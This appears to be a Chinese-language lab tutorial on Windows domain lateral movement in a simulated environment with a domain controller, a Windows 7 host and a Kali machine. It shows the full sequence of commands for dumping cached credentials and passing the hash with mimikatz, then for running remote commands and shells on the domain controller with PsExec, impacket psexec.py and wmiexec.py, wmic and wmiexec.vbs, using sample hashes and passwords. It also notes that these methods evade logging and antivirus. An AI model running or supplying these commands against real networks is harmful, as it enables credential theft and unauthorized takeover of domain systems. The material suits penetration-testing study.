目录
PTH:
在使用 NTLM 身份验证的系统或服务上,用户密码不会以明文形式通过网络发送。 Windows 上的应用程序要求用户提供明文密码,然后调用 LsaLogonUser 类的 API,将该密码转换为一个或两个哈希值(LM或NTLM hash),然后将其发送到远程服务器进行 NTLM 身份验证。由于这种机制,我们只需要哈希值即可成功完成网络身份验证,而不需要明文密码。所以当我们获取到任意用户的 Hash 值就可以针对远程系统进行身份验证并模拟该用户,从而获取用户权限
实验环境模拟
域控DC:Windows Server 2016 (dc)—— IP:192.168.217.146
域内计算机:Windows 7(本地管理员) —— IP:192.168.217.132
攻击机kali:192.168.217.142
使用 mimikatz 进行 PTH
下载地址:https://github.com/gentilkiwi/mimikatz/
mimikatz许多功能都需要管理员权限,如果不是管理员权限不能debug
所以直接上传 mimikatz 到 win7 上,假设我们获取了本地管理员权限,且域管理员登录到这台电脑上(此时就能从内存中获取域管理员的 NTML Hash)
-
先模拟域管理员登录了此台win7后,再使用具有管理员权限的 cmd 中运行
mimikatz.exe
,获取debug权限。使用命令privilege::debug
将mimikatz.exe
提升至 debug权限
privilege::debug # 提升至调试(debug)权限
sekurlsa::logonpasswords # 查看所有可用的凭证
- 提升完成后,再使用
sekurlsa::logonpasswords
来查看历史登录过的用户的密码,win7是可以查看明文密码的,这里查看到了administrator所有信息
- 然后利用
mimikatz
进行 PTH 攻击:
sekurlsa::pth /user:administrator /domain:192.168.217.146 /ntlm:9099d68602a60f007c227c4fa95fada6
- 执行完成后会跳出新的cmd界面,直接在此执行 dir 命令,来查看域控的文件
dir \\192.168.217.146\c$
- 和域控主机的文件目录是一样的
使用 PsExec 进行横向移动
项目地址:PsTools - Sysinternals | Microsoft Learn
PsExec 是 windows 官方发布的,所以不会存在查杀问题,其属于 pstools 。利用 PsExec 可以在远程计算机上执行命令,其基本原理是通过管道在远程目标主机上创建一个psexec 服务,并在本地磁盘中生成一个名为 PSEXESVC 的二进制文件,然后通过psexec 服务运行命令,运行结束后删除服务
- 当知道域用户密码可以使用 PsExec.exe 与对应主机建立启动交互命令,所以我们直接在win7上执行
PsExec.exe /accepteula /s \\192.168.217.146 -u Administrator -p p-0p-0p-0 cmd
whoami
- 也可以直接在命令中执行对应的命令
PsExec.exe /accepteula /s \\192.168.217.146 -u Administrator -p p-0p-0p-0 cmd /c "ipconfig"
- 还可以使用Kali里的 impacket 工具包的 psexec.py 脚本进行利用。
#下载
git clone https://github.com/CoreSecurity/impacket.git
#命令
python3 /usr/local/bin/psexec.py -hashes 1111:9099d68602a60f007c227c4fa95fada6 ./[email protected]
使用 Wmic 进行横向移动
由于 Windows 默认不会将 WMI 的操作记录在日志里,同时现在越来越多的杀软将 PsExec 加入了黑名单,因此 WMIC 比 PsExec 隐蔽性要更好一些
- 这里在 win7 上使用 wmic 在 DC 上远程执行 ipconfig 并将内容输出到 c:\ip.txt (DC的)
wmic /node:"192.168.217.146" /user:"administrator" /password:"p-0p-0p-0" process call create "cmd.exe /c ipconfig > c:\ip.txt"
- 然后再构建 ipc$ 管道,产看DC上的 ip.txt(程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用)
net use \192.168.217.146\ipc$ "p-0p-0p-0" /user:administrator
type \192.168.217.146\c$\ip.txt
wmiexec.py 的使用
- 这里也可以用kali中 impacket 工具包的 wmiexec.py 脚本进行利用,创建交互式命令,通过SMB协议进行连接
python3 /usr/local/bin/wmiexec.py administrator:[email protected]
wmiexec.vbs使用
wmiexec.vbs脚本通过VBS调用WMI来模拟PsExec的功能。其可以在远程系统中执行命令并进行回显,或者获取远程主机的交互式Shell
- 获取dc的交互式命令行:
cscript //nologo wmiexec.vbs /shell 192.168.217.146 administrator p-0p-0p-0
- 或者使用 wmiexec.vbs 直接执行命令:
cscript //nologo wmiexec.vbs /cmd 192.168.217.146 administrator p-0p-0p-0 "whoami